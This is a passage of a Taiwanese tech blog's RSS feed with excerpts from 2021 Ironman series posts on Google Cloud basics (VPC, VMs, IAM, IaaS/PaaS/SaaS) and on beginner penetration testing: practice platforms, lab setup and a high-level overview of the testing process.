&lt;/ul&gt;</description></item><item><title>[Day7]Virtual Networks (2021 鐵人賽 – Cloud)</title><link>http://blog.stevenyu.tw/2021/09/22/day7virtual-networks/</link><pubDate>Wed, 22 Sep 2021 18:55:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/22/day7virtual-networks/</guid><description>&lt;p&gt;今天來介紹虛擬網路的部分，既然我們都有各種的虛擬機器、虛擬服務，那想當然，這些服務就是透過虛擬網路進行連線。虛擬網路如同現實網路一樣，也有許多需要在意與設定的地方，例如 IP 、 Routing 或防火牆等。&lt;/p&gt;
&lt;h2 id="vpc"&gt;VPC&lt;/h2&gt;
&lt;p&gt;虛擬私人網路 (VPC, Virtual Private Cloud) ， 就如同現實生活中的 LAN ， 可以將虛擬網路彼此的進行連接或隔離。 一個 Project 預設可以有 5 個虛擬網路，這些網路除了自己使用之外，也可以跟其他的 Project 互相共享。這些虛擬網路中的 IP 沒有嚴格的限制範圍；我們也可以設定自己在歐洲與亞洲的機器於同一個區網內。我們也可以藉由 Cloud VPN 等方式將自己地端的設備接入雲端，Cloud VPN 相關技術將於之後的文章再跟大家介紹。&lt;/p&gt;
&lt;p&gt;VPC 在 Google Cloud 中有三種模式，分別是 Default 、 Auto 與 Custom&lt;/p&gt;
&lt;h3 id="default-mode"&gt;Default Mode&lt;/h3&gt;
&lt;p&gt;在每一個 Project 中都會預設一個 Default Mode 的網路，他們在每一個 Region (可跨 Zone) 中都是一個 Subnet，所以，它有預設的防火牆 Rule。事實上， Default Mode 的 VPC 網路，就是透過接下來要介紹的 Auto Mode 生出來的。&lt;/p&gt;
&lt;h3 id="auto-mode"&gt;Auto Mode&lt;/h3&gt;
&lt;p&gt;Auto Mode 如同 Default Mode，它會自動生成，每一個 Region 中會有一個 Subnet，而每一個 Subnet 預設的 IP Range 使用了 /20 的子網路遮罩，最高可以擴充為 /16。&lt;/p&gt;</description></item><item><title>[Day6]Virtual Machines (2021 鐵人賽 – Cloud)</title><link>http://blog.stevenyu.tw/2021/09/21/day6virtual-machines/</link><pubDate>Tue, 21 Sep 2021 18:55:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/21/day6virtual-machines/</guid><description>&lt;p&gt;今天要來介紹的是雲端的虛擬機器 (VM)，屬於雲端 IaaS 最具有代表的一項產品。相信有許多讀者應該都有在自己電腦上使用虛擬機的經驗吧？例如 Virtual Box 或 VMWare 等程式，虛擬機在實用上有非常多的優點。&lt;/p&gt;
&lt;h2 id="虛擬機的優點"&gt;虛擬機的優點&lt;/h2&gt;
&lt;p&gt;虛擬機最大的優點就是可以與實體機器隔離，做任何的事情都不會影響到原始的機器。除此之外，在假設 Host 電腦的效能與容量足夠的前提下，我們也可以隨時地變更虛擬機的硬碟大小、CPU大小、硬碟容量等。我們也可以直接針對整台虛擬機的映像(image)檔案進行快照(snapshot)，作為即時的備份使用。&lt;/p&gt;
&lt;p&gt;如果我們有很多台的虛擬機，也可以建立虛擬的網路將他們互相連起來；有關雲端的虛擬網路 (VPC)，我們會留到明天再跟各位進行介紹。&lt;/p&gt;
&lt;p&gt;上述這些虛擬機的優點，無論是地端與雲端的設備都可以運用的到，而雲端的機器由於是交由服務商進行管理，所以對於正常使用者來說，我們可以視為 host 的機器將近是無限大，想要開多少都沒有問題！&lt;/p&gt;
&lt;h2 id="vcpu-與-throughput"&gt;vCPU 與 Throughput&lt;/h2&gt;
&lt;p&gt;一個 vCPU 等同於一個硬體的超值行續 (Hyper-Theread)，以目前的 GCP 規定，一台的 VM 最多可以開 96 個 vCPU 。&lt;/p&gt;
&lt;p&gt;一個 vCPU 的 網路吞吐量 (throughput) 為 2Gbps。到目前為止，若使用一台大於等於 16顆 vCPU 的裝置，其網路的 throughput 最高為 32Gbps。如果開啟特殊的虛擬機，例如使用到高級 GPU 的 V4 或是 V100 ，則可以到 100 Gbps。&lt;/p&gt;
&lt;h2 id="storage"&gt;Storage&lt;/h2&gt;
&lt;p&gt;虛擬硬碟方面，在 GCP 上面也有幾種選擇，分別是 Standard 、 SSD 與 Local SSD。不同的硬碟選擇，想當然的，就是他們的性能與價格有所差距，大家可以依照自己的需求選擇最適合的硬碟解決方案，而這三種硬碟分別的差距如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Standard可以理解成普通的電腦機械式硬碟&lt;/li&gt;
&lt;li&gt;透過網路連接上 VM&lt;/li&gt;
&lt;li&gt;它們的容量可以視需求彈性的增加(只能增加不能減少)&lt;/li&gt;
&lt;li&gt;最大值在每台 VM 上可以有 257 個 TB&lt;/li&gt;
&lt;li&gt;最便宜SSD- 相對於 Standard ，可以有更高的 IOPS&lt;/li&gt;
&lt;li&gt;透過網路連接上 VM&lt;/li&gt;
&lt;li&gt;也可以在線的增加容量(只能增加不能減少)&lt;/li&gt;
&lt;li&gt;最大值在每台 VM 上可以有 257 個 TB&lt;/li&gt;
&lt;li&gt;價格其次Local SSD- 比起 SSD 有更高的吞吐量，且低延遲&lt;/li&gt;
&lt;li&gt;直接硬體的連接在 VM 上&lt;/li&gt;
&lt;li&gt;關閉、刪除 VM 後，資料就會被刪除&lt;/li&gt;
&lt;li&gt;通常拿來作為 swap 使用&lt;/li&gt;
&lt;li&gt;單顆 Local SSD 最大容量為 375GB&lt;/li&gt;
&lt;li&gt;一台 VM 最多可以連結 8 顆 Local SSD&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="vm-access"&gt;VM Access&lt;/h2&gt;
&lt;p&gt;通常我們訪問雲端的 VM 都是藉由網路的方式，在大多數情況下， Linux 的作業系統我們會使用預設為 22 Port 的 SSH，而 Windows 作業系統則會使用預設為 3389 Port 的遠端桌面連線 (RDP)。&lt;/p&gt;</description></item><item><title>[Day5] Project,IAM (2021 鐵人賽 – Cloud)</title><link>http://blog.stevenyu.tw/2021/09/20/day5-projectiam/</link><pubDate>Mon, 20 Sep 2021 18:53:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/20/day5-projectiam/</guid><description>&lt;p&gt;今天要來介紹的是，剛進入雲端一定會面對到的部分：Project以及 IAM。我覺得這個相關的主題會是雲端裡面數一數二無聊的 QQ，但以一個完整的雲端架構而言，這卻是非常非常重要的部分。特別是 IAM 這個主題，單純這個主題，事實上身為一個雲端管理者、架構師，就可以上一整個月的課程了。&lt;/p&gt;
&lt;h2 id="project"&gt;Project&lt;/h2&gt;
&lt;p&gt;任何的 GCP 服務，都會屬於一個 Google Cloud Console 的 Project，無論是管理 API 、 管理計費方式、增加其他的協作者等都是基於 Project 為單位，而一個 Project 底下則可以有許多的資源 (Resources)。&lt;/p&gt;
&lt;p&gt;一個 Project 可以包含非常多的使用者，且每個 Project 都是一個獨立的單位，獨立的隔間，他們會分開的計費。&lt;/p&gt;
&lt;p&gt;每一個 Project 會有三個相關的識別屬性&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Project ID可以自己定義，它必須是 Global Unique 的&lt;/li&gt;
&lt;li&gt;設定完後就不可更改Project Name- 可以自己定義，不需要 Unique&lt;/li&gt;
&lt;li&gt;設定完後仍然可以再次修改Project Number- 不可自行定義，由 GCP 自動產出&lt;/li&gt;
&lt;li&gt;不可自行更改&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="project-階層式管理"&gt;Project 階層式管理&lt;/h3&gt;
&lt;p&gt;GCP 也可以透過階層式的進行管理，以一個公司為例，通常會使用組織節點 (Organization Node)，而一個公司底下可能會有不同的部門，這個時候就可以透過資料夾 (Folders) 進行管理，而每一個部門底下也可能會有多個 Project；每個 Project 底下則又可以有多個 Resources，範例如下圖所示。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/bicqdtS.png"&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;圖片來源：&lt;a href="https://cloud.google.com/resource-manager/docs/creating-managing-folders"&gt;Google Cloud Creating and managing Folders&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;不同的資料夾間，可以設定不同的 IAM 權限管理政策，通常來看，整個公司架構的樹狀圖中，位居越高位的管理權限越大，而越下面的權限越低。&lt;/p&gt;
&lt;h2 id="iam"&gt;IAM&lt;/h2&gt;
&lt;p&gt;Identity and Access Management (IAM)，身分以及訪問權限管理，是雲端管理之中，最最重要的一件事情。如果一個 IAM 的階層管理做得越完善，越齊全，就越不可能會遇到一些看起來&lt;a href="https://today.line.me/hk/v2/article/PvKqVV"&gt;很荒謬的事情&lt;/a&gt;。&lt;/p&gt;</description></item><item><title>[Day4] Google Cloud (2021 鐵人賽 – Cloud)</title><link>http://blog.stevenyu.tw/2021/09/19/day4-google-cloud/</link><pubDate>Sun, 19 Sep 2021 18:52:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/19/day4-google-cloud/</guid><description>&lt;p&gt;今天的內容會跟各位介紹 Google Cloud 相關的基礎知識，希望不會不小心的講成像業配文QQ，先聲明，我沒有拿到 Google 給我的任何 $$ QQ。&lt;/p&gt;
&lt;h2 id="gcp-提供了多種類型的服務"&gt;GCP 提供了多種類型的服務&lt;/h2&gt;
&lt;p&gt;GCP 的服務，從低層級到高層級，包含了 IaaS 、 Hybrid 、 PaaS 、 Serverless logic 與 Automated elastic resources。越低層級的內容，使用者可以控制的參數就越多，設定也比較複雜；越高層級的服務須要設定的參數就越少，可以快速且方便的使用，不過相對應的，彈性與客制化程度就比較低。特別是機器學習的部分，Google 提供了許多方便的 API 供大家使用，這些 API 甚至可以讓不會寫程式的人快速的接入各種方便的應用。&lt;/p&gt;
&lt;p&gt;以下為 GCP 常見的服務列表&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;運算資源Compute Engine&lt;/li&gt;
&lt;li&gt;Kubernetes Engine&lt;/li&gt;
&lt;li&gt;App Engine&lt;/li&gt;
&lt;li&gt;Cloud Functions&lt;/li&gt;
&lt;li&gt;……儲存資源- Bigtable&lt;/li&gt;
&lt;li&gt;Cloud Storage&lt;/li&gt;
&lt;li&gt;Cloud SQL&lt;/li&gt;
&lt;li&gt;Cloud Spanner&lt;/li&gt;
&lt;li&gt;Cloud Datastore&lt;/li&gt;
&lt;li&gt;……大數據- BigQuery&lt;/li&gt;
&lt;li&gt;Pub/Sub&lt;/li&gt;
&lt;li&gt;Dataflow&lt;/li&gt;
&lt;li&gt;Dataproc&lt;/li&gt;
&lt;li&gt;Datalab&lt;/li&gt;
&lt;li&gt;……機器學習- Natural Language API&lt;/li&gt;
&lt;li&gt;Vision API&lt;/li&gt;
&lt;li&gt;Machine Learning&lt;/li&gt;
&lt;li&gt;Speech API&lt;/li&gt;
&lt;li&gt;Translate API&lt;/li&gt;
&lt;li&gt;……&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="google-network"&gt;Google Network&lt;/h2&gt;
&lt;p&gt;根據資料顯示， Google 目前在全世界的網路下，成載了世界的 40% 的流量，是世界上最大的網路商。它的海底光纜的總長度更超過了 10 萬公里，投資了數十億美元建至，確保了 Google 各種服務的穩定性。&lt;/p&gt;</description></item><item><title>[Day5] Process (2021 鐵人賽 – PT)</title><link>http://blog.stevenyu.tw/2021/09/19/day5-process/</link><pubDate>Sun, 19 Sep 2021 18:34:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/19/day5-process/</guid><description>&lt;p&gt;一個滲透測試的流程，可以簡略的分成兩大階段，資訊蒐集與漏洞利用。而資訊蒐集階段則又可以分為偵查與掃描；而漏洞利用則又可以分為普通的漏洞利用與提權，這邊來與各位介紹一下這幾個階段分別具體需要實作的事情有哪些。&lt;/p&gt;
&lt;h2 id="偵查"&gt;偵查&lt;/h2&gt;
&lt;p&gt;當我們獲取了一個目標，剛開始，我們會需要嘗試著蒐集各種與目標相關的公開情報。以公司來說，我們可以透過各種的搜尋引擎獲取機構的部分資料，例如人士、Email、電話等。很多時候這些資料對於後續的攻擊流程會有很大的幫助。&lt;/p&gt;
&lt;p&gt;接下來我們可以試圖了解我們攻擊目標相關的資料，例如使用的作業系統版本，伺服器版本等，假設是一個指定網段的資料蒐集，除了自行的動手掃描之外，我們也可以藉由許多開放資料的平台，例如 Shodan 、 ZoomEye 等。&lt;/p&gt;
&lt;p&gt;通常在做偵查的階段，我們也會同時的進行掃描的動作，偵查與掃描主要是為了可以讓我們更進一步的了解我們的目標，確立可以攻擊的弱點等。&lt;/p&gt;
&lt;h2 id="掃描"&gt;掃描&lt;/h2&gt;
&lt;p&gt;在進行了一系列的偵查之後，我們就可以開始嘗試著對攻擊的目標進行資訊的掃描。通常面對一台伺服器，我們的起手式會是對端口(Port) 進行掃描，目的是觀察伺服器有開了哪一些的服務，在這邊，通常我會使用的工具是 &lt;code&gt;nmap&lt;/code&gt; 與 &lt;code&gt;rustscan&lt;/code&gt; 等。&lt;/p&gt;
&lt;p&gt;如果是網頁伺服器，通常可以對網頁的目錄進行掃描，這邊常見的工具有 &lt;code&gt;dirsearch&lt;/code&gt; 、 &lt;code&gt;dirb&lt;/code&gt; 、 &lt;code&gt;gobuster&lt;/code&gt; 等；部分掃描路徑的工具，也具有掃描 Sub-domain 的功能，例如 &lt;code&gt;gobuster&lt;/code&gt; 與 &lt;code&gt;ffuf&lt;/code&gt; 等，我們也可以觀察瀏覽器中的 header 等資訊，或是透過 &lt;code&gt;Wappalyzer&lt;/code&gt; 工具進行分析。&lt;/p&gt;
&lt;p&gt;偵查與掃描通常不會一次就全部的完成，例如我們掃描到了某個 Port 號，開啟了一個網頁伺服器，則可能會再透過人工方式對於這個網頁伺服器進行一些偵查的工作；而偵查完畢後，則可能更換下一個 Port 號開啟的服務進行進一步的偵查與掃描。&lt;/p&gt;
&lt;h2 id="尋找漏洞"&gt;尋找漏洞&lt;/h2&gt;
&lt;p&gt;待我們在偵查與掃描獲得了各種的資訊，就可以試著尋找網路上對於該版本的作業系統、伺服器軟體是否有公開的弱點 (CVE)，如果有相關弱點的話，是否有可以進行漏洞利用(Exploti)的腳本，在這邊，通常我會直接在 Google 上搜尋 &lt;code&gt;{服務版本} Exploit&lt;/code&gt;，除此之外，也可以透過 &lt;code&gt;exploit-db&lt;/code&gt; 、 &lt;code&gt;searchsploit&lt;/code&gt; 以及 Github 等方式查找相關的利用方式。&lt;/p&gt;
&lt;p&gt;很多時候，我們查找到了某些的漏洞，卻不一定可以馬上地進行使用。舉例來說，我們發現了某個 CMS 在相應版本中的漏洞，而它的使用條件是需要先進行登入，在這種條件下，我們可以先暫存著相關的資訊，以備不時之需，並試圖尋找與開發其他漏洞。&lt;/p&gt;
&lt;h2 id="漏洞利用"&gt;漏洞利用&lt;/h2&gt;
&lt;p&gt;尋找完相關的 Exploit 腳本後，我們就可以試著執行這些腳本，達到漏洞利用的效果。很多時候，我們也可能需要串接多個不同的漏洞，才能達到遠端命令執行 (RCE)。&lt;/p&gt;
&lt;p&gt;當然在大多數情況下，我們不一定有辦法尋找到相對應版本的漏洞進行利用，這種時候就需要透過人工對各個目標進行測試。這種情境下就會比較類似 CTF 的思路，以網頁為例，通常就會以 OWASP Top 10 上常出現的漏洞開始下手進行測試。而 Binary 的 Protocol 則有可能會需要使用到 CTF 中， pwn 的相關技術，進行 Binary Exploitation 利用 Buffer Overflow 等。&lt;/p&gt;</description></item><item><title>[Day4] Tools And Environment (2021 鐵人賽 – PT)</title><link>http://blog.stevenyu.tw/2021/09/19/day4-tools-and-environment/</link><pubDate>Sun, 19 Sep 2021 18:33:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/19/day4-tools-and-environment/</guid><description>&lt;p&gt;今天來介紹一下滲透測試常用的環境與工具，正所謂工欲善其事，必先利其器。準備好自己熟悉、習慣的作業系統與程式環境，對於後續的各種事情都可以事半功倍。&lt;/p&gt;
&lt;h2 id="虛擬機"&gt;虛擬機&lt;/h2&gt;
&lt;p&gt;通常，對於滲透測試相關的設備與環境，我們都會使用虛擬機(Virtual Machines)，目前常見的軟體有 &lt;a href="https://www.virtualbox.org/"&gt;VirtualBox&lt;/a&gt; 、 &lt;a href="https://www.vmware.com/"&gt;VMWare&lt;/a&gt; 、 &lt;a href="https://www.parallels.com/"&gt;Parallel Desktop&lt;/a&gt; 與 &lt;a href="https://www.qemu.org/"&gt;Qemu&lt;/a&gt; 等。大家可以挑選自己習慣的環境，除了使用習慣上，基本上以初學者來講，虛擬化環境沒有太大的差別，如果各位仍沒有任何偏好的化，我會建議大家從 VirtualBox 開始。如果需要使用 VMWare 的話，也請務必採用付費的 Workstation 或 Fusion 版本，才能方便使用完整版的功能，例如 Snapshot&lt;/p&gt;
&lt;h2 id="作業系統"&gt;作業系統&lt;/h2&gt;
&lt;p&gt;作業系統方面，通常我會建議至少同時需要準備一個 Linux 的作業系統，以及一個 Windows 的作業系統，這樣比較能快速的應付各種的需求與測試。作業系統的版本與偏好，則也是看大家的習慣而定。&lt;/p&gt;
&lt;p&gt;以 Linux 作業系統為例，許多人都會推薦使用 Kali Linux 與 Parrot OS，但其實我個人反而比較喜歡乾淨的 Ubuntu 作業系統， Kali,Parrot Linux 最大的特色與優點是，他集成了非常多常見的紅藍隊工具，可以讓使用者快速的上手，免去了各種安裝的麻煩；相對之下，Kali Linux 的缺點則是，它太像一個軍火庫了，裡面的工具過多，也常常得使新手產生混亂。而對於某些需要指定特殊版本的程式，在 Kali 上也有可能會出現一些小問題，但本次鐵人賽主要使用的 Linux 環境，我預計仍會採用 Kali Linux，因為可以省去許多安裝環境的麻煩。&lt;/p&gt;
&lt;p&gt;而 Windows 環境就比較自由一點了，通常建議可以使用 Windows 10 的 Pro 版本以上，或是 Windows Server 的各種發行板，主要 Windows 的作業系統是用來處理一些，面對到 Windows Server 的靶機，我們可以在自己的 Windows 作業系統上做各種的實驗與演練，待測試完成後，再將指令與程式攻擊至靶機，以本次鐵人賽而言，預計都會以 Linux 的作業系統為主，如果想要手把手跟著做的朋友們，不需要急著安裝也沒有關係！&lt;/p&gt;
&lt;h2 id="程式"&gt;程式&lt;/h2&gt;
&lt;p&gt;很多人都在詢問，想要當一駭客到底要學會什麼程式語言，要學會哪些工具。我覺得，如果要成為一位厲害的資安技術人員，不太可能單靠學會幾樣的工具與程式語言就能應付所有的環境。關於程式方面，這邊大概列一些最最基本的軟體，主要提供給非使用 Kali Linux 作業系統的使用者，以利後續的其他工具安裝。&lt;/p&gt;</description></item><item><title>[Day3] Cloud Architectures (2021 鐵人賽 - Cloud)</title><link>http://blog.stevenyu.tw/2021/09/18/day3-cloud-architectures/</link><pubDate>Sat, 18 Sep 2021 18:51:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/18/day3-cloud-architectures/</guid><description>&lt;p&gt;講到雲端相關的議題，一定會看到的就是 IaaS 、 PaaS 與 SaaS。這幾個名詞可以算是雲端的三種層次，雖然我覺得，很多時候某些雲端服務不一定可以明確的區分他屬於哪一種層次，不過，其實也沒有太重要XD。既然大家都這麼的愛用，那我們就還是來了解一下他們分別的意義吧！&lt;/p&gt;
&lt;h2 id="iaas-infrastructure-as-a-service"&gt;IaaS (Infrastructure as a Service)&lt;/h2&gt;
&lt;p&gt;IaaS，基礎設施即服務，可以算是以雲端的角度而言，與地端的機器最相近的服務。如果用過 vCenter 等裝置的話應該可以想像，它就是可以在雲端開啟虛擬機器。就算沒有接觸過任何的虛擬機器也沒關係，我們可以想像成，就是在雲端幫我們準備了一台我們定義好規格的電腦。&lt;/p&gt;
&lt;p&gt;使用 IaaS ，我們等同於可以直接的管理，控制整台電腦的所有功能，舉凡硬碟存取，網路存取，也可以完整的訪問 CPU 以及 Memory ，提供了最大的可控制性。但俗話說的好，能力越大，責任越重，在 IaaS 的環境底下，使用者虛擬主機上遇到的所有軟體相關問題，雲端的服務商也都不需要負責，雲端服務商只負責，並保證機器是可以被正常的運行的。&lt;/p&gt;
&lt;h2 id="paas-platform-as-a-service"&gt;PaaS (Platform as a Service)&lt;/h2&gt;
&lt;p&gt;PaaS，平台即服務，相較於 IaaS ，我們不需要在意機器這麼底層的東西。較底層的基礎設施、作業系統與程式相關，都由雲端的廠商進行處理，使用者甚至不需要處理任何的軟體更新等問題。&lt;/p&gt;
&lt;p&gt;假如說，我們的需求是需要架設一個 MySQL 的 Server。如果以地端的機器，或是以 IaaS 為角度來看的話，我們通常會先需要準備一台電腦，安裝一個 Linux 的作業系統，這個時候，會需要考量要使用到 Ubuntu 、Debian、 CentOS 等；等待安裝好了作業系統，接下來要安裝 MySQL 的 Server，這個時候又要考量說，我們的服務是否需要放在 Docker 的 Container 中，或是 MySQL 需要安裝多少的版本。&lt;/p&gt;
&lt;p&gt;上述的這些問題，如果我們使用了 PaaS 中的資料庫相關服務，滑鼠點兩下，選擇開啟一台 Cloud SQL，等待幾分鐘的時間，雲端的廠商就全自動地幫我們處理好這樣的需求了！&lt;/p&gt;
&lt;h2 id="saas-software-as-a-service"&gt;SaaS (Software as a Service)&lt;/h2&gt;
&lt;p&gt;SaaS，軟體即服務，這相信是大家目前都已經有接觸的一種雲端服務。基本上我們可以直接把這邊的 Software 視為一種產品。舉例來說 Google Drive 就算是一種 SaaS 的產品。我們可以開心的使用 Google Drive ，大家從來都不會在意或想過說：Google Drive 背後跑的是怎麼樣的作業系統，是 Linux 嗎？ Google Drive 背後有沒有使用到 Hadoop 的 HDFS 之類的技術？ 作為一個使用者來看，我們完全不需要在意以上所說的這些事情！只需要專注地使用我們的服務就好！&lt;/p&gt;</description></item><item><title>[Day3] Practice Resources (2021 鐵人賽 – PT)</title><link>http://blog.stevenyu.tw/2021/09/18/day3-practice-resources/</link><pubDate>Sat, 18 Sep 2021 18:32:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/18/day3-practice-resources/</guid><description>&lt;p&gt;CTF 通常會依照各種領域區分， Web 、 Reverse 、 Pwn 、 Crypto 等。而滲透測試如果一定要區分在這些領域的話，應該會比較偏向 Misc。滲透測試通常都會是以組合技為主，所以 CTF 的各種領域最好都要有基礎的了解。&lt;/p&gt;
&lt;h2 id="ctf-資源"&gt;CTF 資源&lt;/h2&gt;
&lt;p&gt;以新手導向的 CTF 資源，我推薦 &lt;a href="https://picoctf.org/"&gt;picoCTF&lt;/a&gt;，上面的題目都非常的新手友善，關於 picoCTF 的解題內容，也歡迎觀看隔壁棚，我的隊友 Yvonne 的&lt;a href="https://ithelp.ithome.com.tw/users/20134305/ironman/4222"&gt;鐵人賽文章&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;除了 picoCTF 之外，對於初學者學習 CTF 類資源，又與 PT 叫相近的，也推薦大家可以使用 &lt;a href="https://www.root-me.org"&gt;RootMe&lt;/a&gt;。&lt;/p&gt;
&lt;h2 id="靶機資源"&gt;靶機資源&lt;/h2&gt;
&lt;p&gt;有了基礎的 CTF 各領域技術後，接下來就可以進入練習滲透測試技能的階段。在這邊，我主要推薦四大平台：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://tryhackme.com/"&gt;TryHackMe&lt;/a&gt;TryHackMe 是這三個網站中，筆者最推薦的一個平台，上面有數以百計的 Linux 與 Windows 機器，也有一系列的滲透測試相關教學，可以依照著指示與提示，手把手的帶著大家解題，算是三者中對於新手最友善的平台。&lt;/li&gt;
&lt;li&gt;其免費版就有不少的機器可以使用，而付費版則有更多課程與靶機。感謝 飛飛 ㄉ錢包贊助 QAQ。&lt;a href="https://www.vulnhub.com/"&gt;Vulnhub&lt;/a&gt;- Vulnhub 上有許多靶機的虛擬機 ova 檔案，可以部屬在自己的電腦中&lt;/li&gt;
&lt;li&gt;不過對於電腦效能有限的人可能會有一點不友善&lt;/li&gt;
&lt;li&gt;另外也可以將 ova 檔案部屬到雲端平台上進行練習&lt;a href="https://www.hackthebox.eu/"&gt;HackTheBox&lt;/a&gt;- HackTheBox 是網路上最多人推薦的平台，但筆者覺得他也有些許的缺點 QQ&lt;/li&gt;
&lt;li&gt;其上面免費版的靶機通常都會是多人共用，(數人到數十人不等)很多時候會造成互相的干擾，除非使用 &lt;code&gt;VIP+&lt;/code&gt; 的方案他是一個綜合性的資安網站，除了滲透測試的靶機之外，也有許多軟硬體相關的 CTF 題目&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在此我建議，各平台的靶機，如果有機會都可以去嘗試看看。如果只選擇一個平台的，一定會遇到一些的盲點。本次鐵人賽的內容前半主要會以 TryHackMe 上的靶機為主，預計後半可能會刻金買 HackTheBox 來玩。&lt;/p&gt;
&lt;h2 id="證照資源"&gt;證照資源&lt;/h2&gt;
&lt;p&gt;與滲透測試相關的證照，最有名的就是 &lt;a href="https://www.offensive-security.com/pwk-oscp/"&gt;OSCP&lt;/a&gt; 證照，是由 Offensive Security 提供的 Penetration Testing with Kali Linux (PEN-200)。 它算是少數資安領域中的實做型證照，考試內容為在 24 小時內打下 5 台指定的靶機，並取得 root / System 權限，非常推薦大家對於滲透測試有了一定的認識後報考。&lt;/p&gt;</description></item><item><title>[Day2] What is Cloud (2021 鐵人賽 - Cloud)</title><link>http://blog.stevenyu.tw/2021/09/17/day2-what-is-cloud/</link><pubDate>Fri, 17 Sep 2021 18:48:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/17/day2-what-is-cloud/</guid><description>&lt;h2 id="cloud-"&gt;Cloud ??&lt;/h2&gt;
&lt;p&gt;今天來跟各位介紹一下到底什麼是雲端。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/54xwpd1k.bmp"&gt;&lt;/p&gt;
&lt;p&gt;4ㄉ，所謂的雲端就是先教會電腦怎麼飛行，而通常的飛機都會在大氣的平流層之中，也就是距離地面 7 至 11Km 到 50Km 之間，平流層的特性是氣流會相對比較穩定。 相較之下，平流層下面的對流層通常就是雲會出現的區域，也就是我們考慮的雲端。&lt;/p&gt;
&lt;p&gt;而電腦領域的雲端呢，則會讓我想到這張圖。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/RbFxxE0-1024x755.png"&gt;&lt;/p&gt;
&lt;p&gt;對於雲端而言，跟大多數的普通人聊到「雲端」，大家的第一反應可能會想到「雲端硬碟」，沒錯！這就算是一個最基本的雲端相關的應用。&lt;/p&gt;
&lt;p&gt;所謂的雲端我認為可以簡單的分為，雲端的儲存與雲端的運算，而雲端的雲，指的只是我們看不到，摸不到的遠端伺服器，這些伺服器都會由各大營運的設備商進行維護。要感謝的人太多了，所以就謝天吧；資料的來源太多了，所以就說從天上來的吧，我覺得，或許這就是雲端之所以稱做雲端的理由。相較於我們摸的到的機房伺服器而言，雲端有許多的優點，當然不乏也有一些缺點。&lt;/p&gt;
&lt;h2 id="雲端的優點"&gt;雲端的優點&lt;/h2&gt;
&lt;p&gt;通常來說，我覺得雲端設備最大的優點就是：不需要自己管理實體的設備。比起自己在家裡的電腦，總是要提心吊膽不小心踢到插頭；放在公司機房裡面的伺服器設備，也需要時刻的注意門禁、空調等各種實體的維護。如果使用了雲端的服務，使用者只需要顧慮使用層面的問題，不需要思考實體層面的因素，因為這些問題全權的交由服務商處理！&lt;/p&gt;
&lt;p&gt;雲端可以透過大量的異地備份，確保資料的安全性。舉例來說，如果我有一筆非常重要的資料，可能放一份在公司；放一份在住家；放一份在好朋友的家裏……。假設有一天，台北市，或是整個台灣對全世界的網路因故斷掉了，這些資料依然無法在國外被取用。通常雲端設備商會在許多的國家與區域設置據點與資料中心，例如 Google 在台灣的彰濱工業區就有設立資料中心。我們可以將重要資料同時放在台灣、美國、英國、日本……世界的各個角落。就算其中有一個國家突然爆炸了(?，我們也可以透過其他的伺服器取得我們的資料。&lt;/p&gt;
&lt;p&gt;雲端設備比起地端的設備，也有擴充性的優勢，假設機構內需要添購新的伺服器，通常會需要跑一系列的請購流程，並等待物流配送、安裝，十分的曠日廢時。而若使用了雲端的設備，如果我們需要添購、增加一台新的伺服器，在網頁上點一點，甚至是透過指令控制，1分鐘內就有辦法安排好，並使用一台全新，乾淨的伺服器。設備更新方面也是，我們隨時可以透過雲端，要求一台全新的機器，並把程式與資料自動的轉移。&lt;/p&gt;
&lt;p&gt;雲端設備的在許多情境下也可以降低成本，假設我們需要透過高級的 CPU 、 GPU 進行一系列的運算。需求可能是每個月須要執行一次，而執行一次的時間是數個小時。在這種情形下我們也可以透過短期的租用雲端伺服器，使用完畢後就把機器還給人家，需要付的錢也就只有租用的時間而已。&lt;/p&gt;
&lt;h2 id="雲端的缺點"&gt;雲端的缺點&lt;/h2&gt;
&lt;p&gt;講了那麼多雲端的優點，接下來當然也要跟各位分享一下雲端相關的缺點。首先，我覺得雲端最大的缺點就是安全與隱私相關的問題。畢竟無論如何，資料與設備就是放在服務商的地方，就算服務商如何地進行保證，透過各種的白皮書進行說明，我們仍然可能對於資料的安全性進行懷疑。說不定該公司哪一天，可能基於任何的理由，做出侵犯用戶資料隱私的事情。例如近期的 &lt;a href="https://www.bnext.com.tw/article/64347/apple-icloud-photos-scanning"&gt;iCloud 相關新聞&lt;/a&gt;，無論是否是極權國家，政府都可能會透過各種的手段要求營運商交出資料，而交出資料後，任何人都無法保證會被怎麼樣的使用。當然，面對這些疑慮，這些公司也有提出了許多的解決方案。&lt;/p&gt;
&lt;p&gt;除了安全與隱私的缺點之外，我們還需要考量到雲端的傳輸速度，雖然雲端可以讓我們不用管理大量的伺服器與硬碟，但資料想要拿回來使用時，終究還是要透過網路。如果有數百 TB 、甚至 PB 等級的資料，透過網路的傳輸往往曠日廢時。目前雲端相關的解決方法主要是可以透過 Peering (對等連線)， 等專線的方式，成本通常都不便宜。&lt;/p&gt;
